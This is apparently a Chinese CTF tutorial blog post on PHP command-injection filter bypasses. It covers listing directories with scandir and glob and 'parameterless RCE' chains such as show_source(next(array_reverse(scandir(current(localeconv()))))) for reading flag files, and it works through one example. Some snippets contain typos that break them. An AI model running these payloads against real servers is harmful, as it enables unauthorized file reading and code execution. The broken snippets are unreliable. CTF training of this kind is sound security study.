常见的绕过姿势(续)

8.扫描目录:

  • print_r扫描⽬录
 c=print_r(scandir('.'));#查看当前目录
 c=print_r(scandir('/'));#查看根目录
 c=print_r(glob('*'));#查看当前目录
 c=print_r(glob('/*'));#查看根目录
  • var_dump扫描⽬录
 c=var_dump(scandir('.'));#查看当前目录
 c=var_dump(scandir('/'));#查看根目录
 c=var_dump(glob('*'));#查看当前目录
 c=var_dump(glob('/*'));#查看根目录
  • var_export扫描⽬录
c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_exportdump(glob('/*'));#查看根目录
  • var_export:跟print_r和var_dump类似,但是很少用。
  • var_dump:

           此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

  • var_dump和print_r的区别:

            var_dump返回表达式的类型与值而print_r仅返回结果,相比调试代码使用var_dump更便于阅读。
print_r(),var_export(),var_dump()的区别具体见下:

二维数组的输出:

$arr=array(array('a'=>'aa','b'=>'bbb','c'=>'ccc'),
           array('a'=>'ddd','b'=>'eee','c'=>'fff'),
           array('a'=>'gg','b'=>'hh'));
print_r($arr);
//print_r输出:
 //Array ( [0] => Array ( [a] => aa [b] => bbb [c] => ccc )
                   [1] => Array ( [a] => ddd [b] => eee [c] => fff )
                   [2] => Array ( [a] => gg [b] => hh ) )
var_export($arr);
//var_export输出:
 //array ( 0 => array ( 'a' => 'aa', 'b' => 'bbb', 'c' => 'ccc', ),
                   1 => array ( 'a' => 'ddd', 'b' => 'eee', 'c' => 'fff', ),
                   2 => array ( 'a' => 'gg', 'b' => 'hh', ), )
var_dump($arr);
//var_dump输出:
/* array (size=3)
  0 =>
  array (size=3)
   'a' => string 'aa' (length=2)
   'b' => string 'bbb' (length=3)
   'c' => string 'ccc' (length=3)
  1 =>
  array (size=3)
           'a' => string 'ddd' (length=3)
   'b' => string 'eee' (length=3)
   'c' => string 'fff' (length=3)
  2 =>
  array (size=2)
   'a' => string 'gg' (length=2)
   'b' => string 'hh' (length=2)
*/
  • glob 目录遍历: 
c=
 $a=new DirectoryIterator("glob:///*");
 foreach($a as $f){
 echo $f." " ;
 }
 exit();
 或者
 $a = "glob:///*.txt";
 if($b=opendir($a)){
 while(($file=readdir($b))!==false){
 echo "filename:".$b."\n";

 }
 close($b);
 }

9.无参RCE构造:

(通过没有参数的函数达到命令执行的目的)

1)配合使用的函数:

  • getchwd() 函数返回当前工作目录。
  • dirname() 函数返回路径中的目录部分。
  • chdir() 函数改变当前的目录。
  • readfile() 输出一个文件。
  • current() 返回数组中的当前单元, 默认取第一个值。
  • pos() current() 的别名。
  • next() 函数将内部指针指向数组中的下一个元素,并输出。
  • end() 将内部指针指向数组中的最后一个元素,并输出。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
  • array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
  • array_slice() 函数在数组中根据条件取出一段值,并返回。
  • array_reverse() 函数返回翻转顺序的数组。
  • chr() 函数从指定的 ASCII 值返回字符。
  • hex2bin() — 转换十六进制字符串为二进制字符串。
  • getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
  • localeconv() :是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中 的第一个为点号(.)
  • get_defined_vars() 获取题目相关变量
  • print_r() 函数用于打印变量,以更容易理解的形式展示
  • reset(): 设置当前数组指针指向第一个单元
  • crypt(): 单项字符串散列,相当于将字符串转换为hash等的复杂字符串
  • floor(): 舍去法取整
  • ceil(): 进一法取整
  • sinh/cosh(): 双曲正弦/余弦
  • scandir(string $directory): array: 列出指定路径中的文件和目录,返回一个 array, 包含有 directory 中的文件和目录。

2). 的构造

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
chr(ord(hebrevc(crypt(time())))) #小概率
chr(ord(strrev(crypt(serialize(array()))))

3)查当前⽬录

payload:?c=print_r(scandir(current(localeconv())));
 或者是
?c=print_r(scandir(pos(localeconv()))); #pos是current的别名,localeconv()返
回的数组中第一个值为'.'

 ?c=print_r(scandir(reset(localeconv())));
 ?c=print_r(scandir(char(46));
 ?c=print_r(scandir(char(time())); #不实际
 ?c=print_r(scandir(char(rand())); #不实际
 ?c=print_r(scandir(char(current(localtime(time()))));
 #chr()函数以256为一个周期,则chr(46),chr(302).chr(558)均为 .
 #char(current(localtime(time())))数组第一个值是秒数,则每60秒均会有一个46

 print_r(scandir(chr(ord(hebrevc(crypt(time())))))); #小概率

print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //存在概率问
题

 print_r(scandir(getcwd()));

4)查看倒数第二个文件:

?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读
取数组倒数第二个元素

 ?c=show_source(next(arrray_reverse(scandir(getcwd()))));

5)读最后一个文件:

?c=show_source(current(array_reverse(scandir(getcwd()))));#flag在最后一个文
件

6)不确定文件位置:

 ?c=show_source(array_rand(array_flip(scandir(getcwd()))));
 array_flip - 交换数组中的键和值
 array_rand — 从数组中随机取出一个或多个随机键,有两个参数默认为1
 ?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));

#array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机
返回一个数组


 #getchwd() 函数返回当前工作目录。

例题:

在这里插入图片描述

 可以看到过滤了很多伪协议和字符(相当于过滤了很多函数)。
使用我们的第一个payload:?exp=print_r(scandir(current(localeconv())));看到flag.php的位置。

在这里插入图片描述

这样写payload的原因:

想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.

再配合current()或者pos()就可以把.取出来传给scandir()查看所有的文件了。

现在flag.php在数组中的倒数第二个位置,所以用array_reverse()翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个就出来了。

如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

所以最后payload:?

exp=show_source(next(array_reverse(scandir(current(localeconv())))));


在这里插入图片描述

 (参考

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值